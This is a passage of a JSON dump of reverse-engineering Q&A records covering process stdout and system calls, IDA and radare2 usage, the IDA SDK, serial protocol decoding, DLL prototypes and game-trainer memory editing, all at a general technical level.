        "Answer": "<p>To print to the terminal, a process started by the shell performs file I/O by making a <code>write()</code> system call using the already open <code>stdout</code> file descriptor inherited from the shell (the parent process).</p>\n\n<blockquote>\n  <p>For the process that manages this program, how is the data containing the \"Hello world!\" string transferred from the stack in memory to the child process of the shell?</p>\n</blockquote>\n\n<ul>\n<li>this question is nonsense because the \"hello world\" process is the child process. The parent process is the shell, since the shell was the process that started the \"hello world\" process. When printing to the terminal (<code>STDOUT</code>), the child process is sending data to the parent process (the shell).</li>\n<li>take a look at the binary and look at the disassembly of the <code>main()</code> function. The \"hello world\" string is hardcoded in the <code>.rodata</code> section of the binary. It is not written to the stack at any point. In <code>main()</code>, a <em>pointer</em> to its location is written to the stack as an argument to the  <code>printf</code> function. </li>\n<li>the runtime stack of a process is a space in virtual memory whose use is managed by the compiler. The stack is written to and read from by the CPU, which executes the instructions generated by the compiler. The stack does not perform any sort of action or computation; this is the purpose of the CPU. You should read the Q&amp;A here: <a href=\"https://cs.stackexchange.com/questions/76871/how-are-variables-stored-in-and-retrieved-from-the-program-stack/76874#76874\">How are variables stored in and retrieved from the program stack?</a>. Note that if a programming language does not permit recursion, a stack is not even required.</li>\n<li><blockquote>\n  <p>A <em>shell</em> is a special-purpose program designed to read commands typed by a user and execute appropriate programs in response to those commands. Such a program is sometimes known as a <em>command interpreter</em>.<sup>1</sup></p>\n</blockquote>\n\n<p>When you type <code>$ ./hello</code>, the shell will read this command and proceed to call <a href=\"http://man7.org/linux/man-pages/man2/fork.2.html\" rel=\"nofollow noreferrer\"><code>fork</code></a> and <a href=\"http://man7.org/linux/man-pages/man3/exec.3.html\" rel=\"nofollow noreferrer\"><code>exec</code></a> to start a new process (I strongly urge you to read <a href=\"https://stackoverflow.com/questions/1653340/differences-between-fork-and-exec\">Differences between fork and exec</a>). </p></li>\n<li><p><strong>Since each process occupies its own space in virtual memory and is as a result isolated from every other process, the shell and the new process started by the shell must use services provided by the kernel in order to share data</strong>. The Linux I/O model provides one way for processes to communicate with each other using <em>file descriptors</em>:</p>\n\n<blockquote>\n  <p>All system calls for performing I/O refer to open files using a file descriptor, a (usually small) nonnegative integer. File descriptors are used to refer to all types of open files, including pipes, FIFOs, sockets, terminals, devices, and regular files. Each process has its own set of file descriptors. </p>\n  \n  <p>By convention, most programs expect to be able to use the three standard file descriptors listed in Table 4-1. These three descriptors are opened on the program\u2019s behalf by the shell, before the program is started. Or, more precisely, the program inherits copies of the shell\u2019s file descriptors, and the shell normally operates with these three file descriptors always open. (In an interactive shell, these three file\n  descriptors normally refer to the terminal under which the shell is running.) If I/O redirections are specified on a command line, then the shell ensures that the file descriptors are suitably modified before starting the program.<sup>2</sup></p>\n</blockquote></li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/XjXz8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XjXz8.png\" alt=\"Table 4-1 Standard File Descriptors\"></a></p>\n\n<p>This means that if one wishes to print to the terminal, one must make a <code>write()</code> system call using the already open <code>stdout</code> file descriptor.</p>\n\n<p>Here is a simple example program to make things more clear:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(void) {\n        pid_t current_PID = getpid();\n        pid_t parent_PID = getppid();\n\n        printf(\"Current process ID: %d\\n\", current_PID);\n        printf(\"Parent process ID: %d\\n\", parent_PID);\n\n        return 0;\n}\n</code></pre>\n\n<p>We can retrieve the process ID of the shell via the <code>echo $$</code> command (<code>bash</code> is assumed to be the shell here).</p>\n\n<pre><code>$ echo $$\n29760\n</code></pre>\n\n<p>Then we compile and run the example program (which I simply called <code>pid</code>):</p>\n\n<pre><code>$ ./pid \nCurrent process ID: 9071\nParent process ID: 29760\n</code></pre>\n\n<p>The parent process ID is that of the shell which started the <code>pid</code> process.</p>\n\n<p>To see what is happening at the CPU level, here is disassembly of <code>main()</code> with comments explaining the relevant operations:</p>\n\n<pre><code>&lt;main&gt;:\npush   %ebp\nmov    %esp,%ebp\nand    $0xfffffff0,%esp\nsub    $0x20,%esp\ncall   8048340 &lt;getpid@plt&gt;  # libc wrapper around getpid() system call\nmov    %eax,0x18(%esp)       # write return value (PID) in register to stack\ncall   8048370 &lt;getppid@plt&gt; # libc wrapper around getppid() system call\nmov    %eax,0x1c(%esp)       # write return value (PPID) in register to stack\nmov    0x18(%esp),%eax       # read from stack, write to register\nmov    %eax,0x4(%esp)        # write register value to stack as 2nd arg to printf (PID)\nmovl   $0x8048560,(%esp)     # read format string from memory, write to stack as 1st arg to printf\ncall   8048330 &lt;printf@plt&gt;  # libc wrapper around write() system call\nmov    0x1c(%esp),%eax       # read PPID saved on stack, write to register\nmov    %eax,0x4(%esp)        # write PPID in register to stack as 2nd arg to printf\nmovl   $0x8048578,(%esp)     # read format string from memory, write to stack as 1st arg to printf\ncall   8048330 &lt;printf@plt&gt;  # libc wrapper around write() system call\nmov    $0x0,%eax\nleave  \nret    \n</code></pre>\n\n<p>Here is the <code>strace</code> output for the example program:</p>\n\n<pre><code>$ strace ./pid\nexecve(\"./pid\", [\"./pid\"], [/* 53 vars */]) = 0\n[ Process PID=10017 runs in 32 bit mode. ]\nbrk(0)                                  = 0x943d000\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7793000\naccess(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/etc/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\nfstat64(3, {st_mode=S_IFREG|0644, st_size=155012, ...}) = 0\nmmap2(NULL, 155012, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff776d000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/i386-linux-gnu/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0P\\234\\1\\0004\\0\\0\\0\"..., 512) = 512\nfstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0\nmmap2(NULL, 1772156, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff75bc000\nmmap2(0xf7767000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xfffffffff7767000\nmmap2(0xf776a000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff776a000\nclose(3)                                = 0\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff75bb000\nset_thread_area(0xffc17c00)             = 0\nmprotect(0xf7767000, 8192, PROT_READ)   = 0\nmprotect(0x8049000, 4096, PROT_READ)    = 0\nmprotect(0xf77b8000, 4096, PROT_READ)   = 0\nmunmap(0xf776d000, 155012)              = 0\ngetpid()                                = 10017\ngetppid()                               = 10014\nfstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 13), ...}) = 0\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7792000\nwrite(1, \"Current process ID: 10017\\n\", 26Current process ID: 10017\n) = 26\nwrite(1, \"Parent process ID: 10014\\n\", 25Parent process ID: 10014\n) = 25\nexit_group(0)                           = ?\n+++ exited with 0 +++\n</code></pre>\n\n<p>Note the <code>execve()</code> system call on the first line and the <code>write()</code> system calls at the bottom.</p>\n\n<hr>\n\n<ol>\n<li><p>The Linux Programming Interface, 2.2 The Shell, pg. 24 </p></li>\n<li><p>The Linux Programming Interface, 4.1 Overview, pg. 69</p></li>\n</ol>\n"
    },
    {
        "Id": "18041",
        "CreationDate": "2018-04-20T05:25:12.430",
        "Body": "<p>In all versions of IDA, I can't seem to be able to search for unicode strings. When reversing programs, I constantly see unicode strings that could have really helped if I could see them in the strings window, but I can't. Anyone have a solution?</p>\n",
        "Title": "How do you search for unicode strings?",
        "Tags": "|ida|",
        "Answer": "<p>Enter the \"strings window\" by either press <kbd>shift</kbd>+<kbd>F12</kbd> or go to <code>View &gt; Open Subviews &gt; Strings</code> in the toolbar.</p>\n\n<p>Then, in the strings window, press Right Click and choose \"Setup...\". Check \"Unicode\" and press \"OK\".</p>\n\n<p><a href=\"https://i.stack.imgur.com/haSxC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/haSxC.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18045",
        "CreationDate": "2018-04-20T16:15:57.903",
        "Body": "<p>How can I display any standard write in visual mode. </p>\n\n<p>For example if I run <code>dc</code> command it runs the program normally and displays all the text normally. But if I enter visual mode with <code>V&lt; enter &gt;</code> and use <code>S</code> to run through the program it displays the output maybe a 1/10th of a second:\n<a href=\"https://i.stack.imgur.com/5tUnM.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/5tUnM.gif\" alt=\"What I see in visual mode\"></a></p>\n\n<p>Can I have it display it for longer, or enter a command and see what has been printed to stdout so far?</p>\n",
        "Title": "Radare2- How to see stdout in Visual Mode",
        "Tags": "|radare2|",
        "Answer": "<p>I'm afraid there's no straight way to do so. You'll need to use <a href=\"https://radare.gitbooks.io/radare2book/content/introduction/overview.html#rarun2\" rel=\"noreferrer\"><code>rarun2</code></a> or radare's <code>dd</code> command.</p>\n\n<p>I prefer the rarun2 way, it is more flexible and simple.</p>\n\n<p>From <code>man rarun2</code> output:</p>\n\n<pre><code>  Debugging a program redirecting io to another terminal\n\n   ## open a new terminal and type 'tty' to get\n   $ tty ; clear ; sleep 999999\n   /dev/ttyS010\n\n   ## in another terminal run r2\n   $ r2 -e dbg.profile=foo.rr2 -d ls\n\n   ## or you can use -R option\n   $ r2 -R foo.rr2 -d ls\n   $ cat foo.rr2\n   #!/usr/bin/rarun2\n   stdio=/dev/ttys010\n</code></pre>\n\n<p>For a step-by-step guide and more detailed answer, check my answer to a similar question <a href=\"https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals/16430#16430\">here</a>.</p>\n\n<p><code>dd</code> can be used to change file descriptors at runtime:</p>\n\n<pre><code>[0x00000000]&gt; dd?\n|Usage: dd Descriptors commands\n| dd                   List file descriptors\n| dd &lt;file&gt;            Open and map that file into the UI\n| dd-&lt;fd&gt;              Close stdout fd\n| dd*                  List file descriptors (in radare commands)\n| dds &lt;fd&gt; &lt;off&gt;       Seek given fd)\n| ddd &lt;fd1&gt; &lt;fd2&gt;      Dup2 from fd1 to fd2\n| ddr &lt;fd&gt; &lt;size&gt;      Read N bytes from fd\n| ddw &lt;fd&gt; &lt;hexpairs&gt;  Write N bytes to fd\n</code></pre>\n"
    },
    {
        "Id": "18046",
        "CreationDate": "2018-04-20T16:42:18.853",
        "Body": "<p>Why do most hackers/modders use pointers instead of editing the static region of the game executable? For example I downloaded so many trainers and I can see most of them are using pointers. I prefer to set a break point on the value and track the caller function, this works 100% of the time where I only have to <code>nop</code> the instruction or alter it or at worst make my subroutine and code cave it.</p>\n\n<p>Is there a downside with my method that i'm not aware of?</p>\n",
        "Title": "Game cheating: Pointers vs Static memory editing",
        "Tags": "|pointer|",
        "Answer": "<p>Some programs don't like it when you change their code, some protectors check for memory modifications.\nOnce I used a hack that patches directly the code and got instantly banned from the server.</p>\n"
    },
    {
        "Id": "18050",
        "CreationDate": "2018-04-20T20:01:20.963",
        "Body": "<p>I have an assignment at work, to get information from Jenbacher generator and show values in new  SCADA system. It has a B&amp;R CP260 PLC with RS232 port and RS232 to RS485 converter. Currently it\u2019s connected to old Winows XP PC via COM port. From hardware settings on PC I can see that it uses <strong>9600 baud 8N1</strong>. It <strong>sends data packets every 5 seconds (without request)</strong>. There is about 30 different variables that are shown in the old SCADA system (a lot of BOOLs and about 8 analog values. <strong>The whole system is 15 years old</strong>. I used RealTerm to read 10 packages in HEX and I got some data.</p>\n\n<p>I wrote down active power from screen with every packet received and I have some variables that are not changing so often (didn\u2019t change while reading packets) :</p>\n\n<p>Operating hours \u2013 <strong>81521</strong></p>\n\n<p>Total active power \u2013 <strong>80578,3</strong></p>\n\n<p>Total reactive power \u2013 <strong>1053,5</strong></p>\n\n<p>Active power from screen whit each packet received:</p>\n\n<p>1)  <strong>852</strong> kW</p>\n\n<p>2)  <strong>853</strong> kW</p>\n\n<p>3)  <strong>843</strong> kW</p>\n\n<p>4)  <strong>840</strong> kW</p>\n\n<p>5)  <strong>851</strong> kW</p>\n\n<p>6)  <strong>856</strong> kW</p>\n\n<p>7)  <strong>848</strong> kW</p>\n\n<p>8)  <strong>841</strong> kW</p>\n\n<p>9)  <strong>848</strong> kW</p>\n\n<p>10) <strong>852</strong> kW</p>\n\n<p>Active power is changing on screen with every packet received, so it must be sending power updates with every packet, but I can\u2019t find it in the packet. I found Op hours, total active, reactive power in some packets, but it is not consistent. </p>\n\n<p><em>Update:</em></p>\n\n<p>Discovered values in <strong>bold</strong> :</p>\n\n<p><strong>13E71</strong> - OP hours</p>\n\n<p><strong>C4B97</strong> - Tot. active power</p>\n\n<p><strong>2927</strong> - Tot. reactive power</p>\n\n<p>Data:</p>\n\n<p><pre><code>\n1)\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204040AA03490308DB405360010428\n3052000004420102081040BF2101F404F0056B0A10406024023F09C3265891608D022D09534D5869\n6021024A024E09034D5869601B0248091B4DD89A602460A3024E016268D2398000<strong>2927</strong>0D8A0D5060\n16020850630C20400000000114CC1440800000000114AC2040000000010408204000000A7100CC00\nC80154018D055B2A58D440D6FF8C0391234CAB2022C1F600860024012A03A105B60D2040000006A1\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n0104082040000000010408204000000001040820400000000104082040000000ED<br>\n2)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD0134A8A540A900D003BD0AEC010428\n3052000004420102081040BF2201F404D1056B0A104060D202400239097324183360170248094B4D\n984860D2024E09FB24589A602360D202430250093B499834602700182DBA0E1040CA270341022898\n16020850630C20400000000114CC14408000000001142C3040000000010408204000000A75016400\nCA00CA018D055B2A58D440D5FF880DFA899859811304DB00430091012A03E8014B0000000003E800\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000FB<br>\n3)<br>\nFF00000000000000000000000000000000000000000080010000000001148CB53157000000010408\n20400000000104082040000000010408204000000001040820400000FE0104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n204000000001040820400000000104082040000000FD013468D2406A006703BD0AEC010428305200\n0004420102081040BF2001F404CD018E010248586960900239097324582360170247094B4D984860\nD2024E09FB24589A602360D20243024F024709334D981240834B970000A57634503580C03E710102\n28EC0C20400000000114AC1440800000000104880104082040000000010408A020F700E600CA00CA\n018E05632E98D440D2FF990DEA8D98AC818704BF008401042A3065407401320000010468205D0000\n00010408204000000001040820400000000104082040000000010408204000000001040820400000\n00010408204000000001040820400000000104082040000000010408204000000001040820400000\n00010408204000000001040820400000000104082040000000010408204087<br>\n4)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n0820400000000104082040000000010408204000000001040820404024034903E8DB405B60010428\n3052000004420102081040BF2101F404F3056B0A104060D2024209CB24D899608D022E092B4D5869\n6021024A024E09FB24589A608D02490243024E093B499834602700182DBA0E1040CA270341022898\n16020850630C20400000000114AC1440800000000104A8000001040820400000000154A80B203E80\nF900E5018D055B2A58D44096FF8D0D3A234C5E208382D3008401E42A306540740143000001046820\n5D000000010408204000000001040820400000000104082040000000010408204000000001040820\n40000000010408204000000001040820400000000104082040000000010408204000000001040820\n40000000010408204000000001040820400000000104083040000000000000007DFF<br>\n5)\nFF00000000000000000000000000000000000000000080010000000000015415B800000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000010408204000034D1A480DA0B640B701FF0102281852800002420102081040BF2201F404\nEC018D010248586960688139098324982360170244094B4D984860A5024E09FB24589A608D024A02\n43024D093B49D824602700182DBA0E1040CA27034102289816020850630C204000000001148C1C40\n8000000001140C1840800000000104082040000575016400CA00CA018D055B2A58D440D7FF8903A1\n23ECAB206482E8011A0D1052C02A03A10596020810408003E8010208104080000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n000001040820400000000104082040000090<br>\n6)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD0134086D206A006803B90BCC000005\n060A204081420102081040BF2201F404D4056B0A104060D202430238023009B32498916068814902\n4209534DD89A6024589A608D024A0243024C0247093B49981240834B970000A57634102580C03E71\n010228EC0C204000000001148C1C408000000001140C1840800000000104082040000575016400CA\n00CA018D055B2A58D440DA2135E835B0579020C11640480091012A03A105D60D2040000006A10104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000009FD<br>\n7)<br>\nFF01020810408000000001040820400000000104082040000080010000010608F060FF15B8000000\n000000000000000000000000000000000000000000000000000000FF000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000FF00035003520067036D01FF000001900000024200000000FC2201F404\nCC018E0000024902430238022F0235022E024202490241024A024F023F0249023502490242024B02\n470247024E000<strong>C4B97</strong>0000<strong>2927</strong>035000023E71010228EC0C20400000000114AC1440800000000114\n8C3040000000010408204000000A75016400CA00CA018E05632E98D440492937881AB0F0810A04D1\n0112091052C02A03A105B6061020800003A101040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n000001040820400000006DFF<br>\n8)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204040D2035200D003B5130C104080\n0190010248984880000000F181168C3F30F8C08D000009964D30488138022E09AB24989160488149\n024109534DD89A6024589A602360D2024209534DD8246024602700182DBA0E1040CA270341022898\n16020850630C20400000000114CC1440800000000104A8000001040820400000000154880F203E80\nF900E5018E055B2A58D44094FF950DDA8D182BC1FF04C60112099054606540740139010208104040\n74000001040820400000000104082040000000010408204000000001040820400000000104082040\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n0000000104082040000000010408204000000001040820400000000104082040003B<br>\n9)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040830408000000000\n0000000000000000000000000000000000000000000000035003520067036D020000000190000002\n4200000000FC2101F404F3018D0000024902420239022E0234022D024102490241024A024F023F02\n490236024A0241024902460247024E000<strong>C4B97</strong>0000<strong>2927</strong>034F000<strong>13E71</strong>0000191F00000000000001\n8D00000000000000FC0000000000000000000005DB00E600E500E5018D018B018D035BFF8D036704\nC3050D04D500430090012A03E8015C0000000003A101040820400000000104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n2040000000010408204000000091FF<br>\n10)<br>\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD013488B540A900CE03B50BEC010428\n3052000004420102081040BF2101F404E1056B0A104060D2024109CB24589160CD022D090B495869\n6090024A024F023F094B4D982360A50241094B4D98346024602700182DBA0E1040CA270341022898\n16020850630C204000000001148C1C40800000000114EC3040000000010408204000000A7D00CC00\nCA00CA018D055B2A58D440A531374889305A811C04E5008401142E3065407401610000010468205D\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n000000010408204000000001040820400000000104082040000000010408204069  </p>\n\n<p></pre></code></p>\n",
        "Title": "Decoding serial data package",
        "Tags": "|hex|serial-communication|protocol|",
        "Answer": "<p>So I got it working, turns out I used wrong parity, din't know you can override davice manager port settings from VB. Thanks.</p>\n"
    },
    {
        "Id": "18053",
        "CreationDate": "2018-04-21T02:54:08.263",
        "Body": "<p>in gdb to list active breakpoints is <code>info b</code> how to do the same in radare2? is there any similar command in radare2 or something else?</p>\n",
        "Title": "How to list breakpoints in radare2?",
        "Tags": "|radare2|breakpoint|",
        "Answer": "<p><code>db</code> is used both to set a breakpoint and to list all breakpoints. As you can be see in the command's help output:</p>\n\n<pre><code>[0x00007f60]&gt; db?\n|Usage: db  # Breakpoints commands\n| db                       List breakpoints\n| db sym.main              Add breakpoint into sym.main\n| db &lt;addr&gt;                Add breakpoint\n| db -&lt;addr&gt;               Remove breakpoint\n| db.                      Show breakpoint info in current offset\n| dbj                      List breakpoints in JSON format\n| dbc &lt;addr&gt; &lt;cmd&gt;         Run command when breakpoint is hit\n| dbC &lt;addr&gt; &lt;cmd&gt;         Set breakpoint condition on command\n| dbd &lt;addr&gt;               Disable breakpoint\n...\n... \n</code></pre>\n\n<p>So simply do something like this:</p>\n\n<pre><code>$ r2 -d /bin/cat\n\nProcess with PID 261 started...\n= attach 261 261\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n -- Hang in there, Baby!\n\n[0x7f5399600c30]&gt; db entry0\n[0x7f5399600c30]&gt; db main\n[0x7f5399600c30]&gt; db\n0x004025b0 - 0x004025b1 1 --x sw break enabled cmd=\"\" cond=\"\" name=\"entry0\" module=\"/bin/cat\"\n0x004019e0 - 0x004019e1 1 --x sw break enabled cmd=\"\" cond=\"\" name=\"main\" module=\"/bin/cat\"\n[0x7f5399600c30]&gt;\n</code></pre>\n"
    },
    {
        "Id": "18063",
        "CreationDate": "2018-04-21T23:26:17.140",
        "Body": "<p>I'm using ida 6.8 SDK and i have an problem with saving changed variables names,</p>\n\n<p>I used many functions like set_reg_name(C++), setMemberName(in python), \nthey change the name but not permanently, after pressing refresh , or reopening ida, the variables have old names.</p>\n\n<p>What function is used when u press \"N\" Rename Iyvar, and were to get info on correct way of saving changed variable names ?</p>\n",
        "Title": "IDA SDK - Rename Variable permanently",
        "Tags": "|ida|idapro-sdk|",
        "Answer": "<p>It's better to do this directly, without using the user-interface class <code>vdui_t</code>. Here's a small function you can call to set the name of a local variable, assuming you already have the <code>lvar_t</code> object you want to rename:</p>\n<pre><code>def SetLvarName(func_ea,lvar,name):\n    lsi = ida_hexrays.lvar_saved_info_t()\n    lsi.ll = lvar\n    lsi.name = name\n    ida_hexrays.modify_user_lvar_info(func_ea, ida_hexrays.MLI_NAME, lsi)\n</code></pre>\n<p>Here's a little harness I wrote to ensure it works. It decompiles some function in my database, finds the <code>lvar_t</code> named &quot;v35&quot;, and renames it to &quot;vNewName&quot;.</p>\n<pre><code>def GetCfunc(ea):\n    f = idaapi.get_func(ea)\n    if f is None:\n        return None\n\n    # Decompile the function.\n    cfunc = None\n    try:\n        cfunc = idaapi.decompile(f)\n    finally:\n        return cfunc\n\ncfunc = GetCfunc(0x61FE5DDE)\nif cfunc:\n    mba = cfunc.mba\n    for idx in xrange(mba.vars.size()):\n        var = mba.vars[idx]\n        if var.name == &quot;v35&quot;:\n            SetLvarName(cfunc.entry_ea,var,&quot;vNewName&quot;)\n            break\n</code></pre>\n"
    },
    {
        "Id": "18070",
        "CreationDate": "2018-04-23T20:04:43.927",
        "Body": "<p>I have an exe file and a dll file. This exe file uses the dll to decode input file. This exe file is gui based and does not support command line execution. </p>\n\n<p>So my requirement is to create a program which loads this dll and use the funciton to decode an input file so that I can use this program in some scripts.</p>\n\n<p>The exe expects two inputs. Source file name and destination file name.</p>\n\n<p><a href=\"https://i.stack.imgur.com/PHUFk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PHUFk.png\" alt=\"exe parameters\"></a></p>\n\n<p>When I disassembled the exe, only 1 parameter is being passed to the dll function call, which is the source file name. <strong>I couldn't find how the destination file name is passed to the function.</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/SZQFY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SZQFY.png\" alt=\"dll function call in exe\"></a></p>\n\n<p>Disassembly of dll function shows 2 exported functions.</p>\n\n<p><a href=\"https://i.stack.imgur.com/kf6ub.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kf6ub.png\" alt=\"dll exports\"></a></p>\n\n<p>assembly code for dll function from IDA is as follows</p>\n\n<p><a href=\"https://i.stack.imgur.com/yZhLo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yZhLo.png\" alt=\"convert2\"></a></p>\n\n<p>While calling the dll function from exe, the stack is as follows</p>\n\n<p><a href=\"https://i.stack.imgur.com/PXbnp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PXbnp.png\" alt=\"stack during function call\"></a></p>\n\n<p>From this I understood that the a pointer to the source file name is passed as the argument. The pointer points to the following memory location.\n<a href=\"https://i.stack.imgur.com/W9oO2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W9oO2.png\" alt=\"pointer stack contents\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/M1Yqq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M1Yqq.png\" alt=\"pointer memory contents\"></a></p>\n\n<p><strong>From this much information, is it possible to identify the function prototype of the dll function.</strong></p>\n",
        "Title": "identifying function prototype from dll",
        "Tags": "|ida|disassembly|windows|dll|x64dbg|",
        "Answer": "<p>It\u2019s hard to say for sure without full binary or all called functions but going by the debugger screens it looks like the argument is pointer to a structure with  layout similar to the following:</p>\n\n<pre><code>struct PARAMS {\n  char *inputfname;\n  int flag1;\n  char *outfname;\n  int flag2;\n};\n</code></pre>\n\n<p>There maybe other fields not obvious from the posted info, but you could try to start with this.</p>\n"
    },
    {
        "Id": "18074",
        "CreationDate": "2018-04-24T04:55:21.960",
        "Body": "<p>I have been learning about the x86 assembly language by analyzing a binary using radare2 that is stored on a Intel 80386 machine. When I have been analyzing functions on the binary, I noticed that \"XREF\" is repeatedly called from various addresses in the file:</p>\n\n<p><a href=\"https://i.stack.imgur.com/oqWO6.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/oqWO6.png\" alt=\"enter image description here\"></a></p>\n\n<p>What does it mean? I've looked up \"xref\" all over the web and have been unable to find any definitive answer. </p>\n",
        "Title": "What does XREF mean?",
        "Tags": "|assembly|x86|radare2|call|intel|",
        "Answer": "<p>Cross References (or simply XREFs) is a feature of disassemblers to show you where certain functions and objects were called from or which functions and objects are used by a specific function. We can simplify it by relate to it as XREF-To and XREF-From. The referenced can be either Data or Code.</p>\n\n<p>XREFs are a valuable resource when we want to figure out exactly where a function was called from or what functions the current function calls. This, as you understand, can be quite useful, so we don\u2019t have to iterate the stack for frame pointers to look for the function that called the current function or alternatively searching by hand for a CALLs to specific addresses.</p>\n\n<p>As can be seen in your screenshot, radare2 mentions that a specific address is referenced from (\"XREF from\") several different locations (addresses) in the code. Using radare's <code>ax?</code> subcommands you can easily view XREFS. For example, <code>axt 0xfa1afe1</code> will show you Xrefs <strong>t</strong>o <code>0xfa1afe1</code> and <code>axf 0xfa1afe1</code> will show you Xrefs <strong>f</strong>rom <code>0xfa1afe1</code>.</p>\n"
    },
    {
        "Id": "18085",
        "CreationDate": "2018-04-25T00:00:47.430",
        "Body": "<p>This might have a simple solution but I can't find it anywhere.</p>\n\n<pre><code>$&gt; ./be1 11 AAAAA\n</code></pre>\n\n<p>With <code>gdb</code>, finding <code>argv[]</code> and <code>argc</code> is simple:</p>\n\n<pre><code>(gdb) print argv[0]@argc\n$7 = {0xbffff872 \"be1\", 0xbffff89a \"11\", 0xbffff89d \"AAAAA\"}\n</code></pre>\n\n<p>But, how can we do this with radare2 ?</p>\n",
        "Title": "Radare2 Find command line arguments and location in stack",
        "Tags": "|binary-analysis|radare2|",
